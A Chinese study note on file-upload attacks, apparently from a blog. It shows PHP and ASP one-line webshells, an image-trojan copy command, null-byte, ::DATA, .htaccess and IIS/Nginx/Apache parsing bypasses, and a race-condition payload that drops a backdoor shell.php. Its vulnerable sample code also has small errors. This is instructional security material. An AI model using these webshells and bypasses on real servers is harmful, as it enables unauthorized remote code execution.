一句话木马 webshell
- <?php @eval($_REQUEST[cmd]); ?>;
- <%execute(request("cmd")) %>
cmd=echo get_current_user()
cmd=echo getcwd()
客户端验证和文件类型绕过
- 黑名单验证机制:明确不允许上传的文件类型,允许未在黑名单内的类型上传
- 白名单验证机制:明确列出可以上传的文件类型,拒绝未在白名单内的类型上传
客户端JavaScript做安全性验证没有任何安全保障,可以被修改和删除
- 直接修改:将验证函数复制到Console面板中,修改代码,一次有效
- 删除验证代码:删除事件
- 禁用JavaScript
文件类型content-type绕过,检查MIME类型,常见有text/plain,text/plain,image/png,image/jpeg,image/gif等等
- 通过bp抓包修改文件content-type类型
- 文件头编码绕过,制作图片马绕过,后续寻找其他漏洞触发,如文件包含
copy gif.gif/b + eval.php eval.gif
服务端操作系统关联性漏洞
::DATA绕过、大小写绕过、特殊字符解析漏洞、
.php::DATA,若服务端是Windows系统,则会被解析为php
编码格式绕过白名单
截断绕过其中的00截断是绕过白名单防御的一种方式
00一般在文件中表示结束符号,有多种编码方式。例如,%00是URL编码方式,通常用于GET型消息的编码;0x00是十六进制编码方式,通常用于POST型消息的编码。
可以通过构造如同“eval.php%00.jpg”或者“eval.php0x00.jpg”这样的文件,导致最终被解析为“eval.php”,变成木马
0x00只能在十六进制模式下修改,在“Hex”页签中修改
web服务器配置型漏洞
配置文件指定了特定后缀文件交由谁解析,如将*.php文件交由PHP解析,那么如“.php3”、“*.php4”、“*.php5”、“*.pht”、"*.phtml"、等等后缀就可以考虑
IIS服务器解析漏洞:5.x到6.0版本
- 建立以*.asp、*.asa格式的文件夹下的文件会以asp解析
- *.asp;1.jpg会以asp解析,IIS不解析分号“;”
Ngix解析漏洞:
Ngix低版本中存在的一个有PHP-CGI导致的文件解析漏洞,PHP的配置文件php.ini中的cgi.fix_pathinfo默认处于开启状态,即cgi.fix_pathinfo=1,效果就是当用户访问一个服务端托管在Ngix上的服务时,如果URL中有不存在的文件,那么Ngix引擎就会默认向前解析,直到找到能够去解析的文件类型。如a.com/x.txt/x.php的x.txt会被解析为php,由于访问的格式以及指定到x.php上,Ngix服务会继续往前寻找存在的文件,并用php解析。使得可以用PHP去解析txt等文件。
Apache解析漏洞:
Apache 1.x到2.x 版本中,当Apache遇到不认识的扩展名时会依次向前解析,若都不认识则暴露源码
Apache的“.htaccess”漏洞:
".htaccess"文件也叫做分布式配置文件,没有名字,只有点和后缀,可以针对目录改变配置,即在一个特定的目录中放置包含一个或多个指令的“.htaccess”文件,作用于该目录及其子目录。需要以管理员身份运行,且只能绕过黑名单。
如上传”AddType application/x-httpd-php .jpg“,则表示所在文件夹的所有*.jpg文件都会被当作php解析。
先上传.htaccess文件,再上传带有参数的图片马。
条件竞争
条件竞争漏洞源于 “文件上传后未及时重命名 / 移动 / 删除” 的时间差。攻击者可利用这个时间差,在服务器将临时文件移动到目标路径(或进行安全校验)之前,快速访问临时文件,从而上传恶意脚本。
若代码中存在 “先存储临时文件→再进行复杂校验→最后移动 / 删除” 的分步逻辑,才会出现明显的时间差,进而有可能存在条件竞争漏洞。
服务器处理一个文件的时间极短,要想在服务器执行删除或移动之前访问上传文件,可以通过并发发送大量的PHP一句话木马,同时发送大量的文件包含请求来访问这个PHP文件,这样就有机会竞争成功,成功访问。
if(isset($_POST['submit'])){
$ext_arr=array('jpg','png','gif');
$file_name=$_FILES['upload_file']['name'];
$temp_file=$_FILES['upload_file']['tmp_name'];
$file_ext=substr($file_name,strrpos($tmp_name,".")+1);
$upload_file=UPLOAD_PATH.'/'.$file_name;
if(move_uploaded_file($temp_file,$upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path=UPLOAD_PATH.'/'.rand(10,99).date("YmdHis")."."$file_ext;
rename($upload_file,$img_path);
$is_upload=true;
}else{
$msg="只允许上传xxx类型文件";
unlink($upload_file);
}
}else{
$msg='上传错误';
}
}
在此段代码中存在明显的时间差:存储临时文件→文件类型检验→删除
palyload:设计上传文件eval.php
<?php
$b='<?php @eval($_REQUEST[\'backdoor\']); ?>'
file_put_contents('shell.php',$b);
?>
其次构造访问该数据包的请求,若访问成功,则会留下shell.php文件。
964

被折叠的 条评论
为什么被折叠?



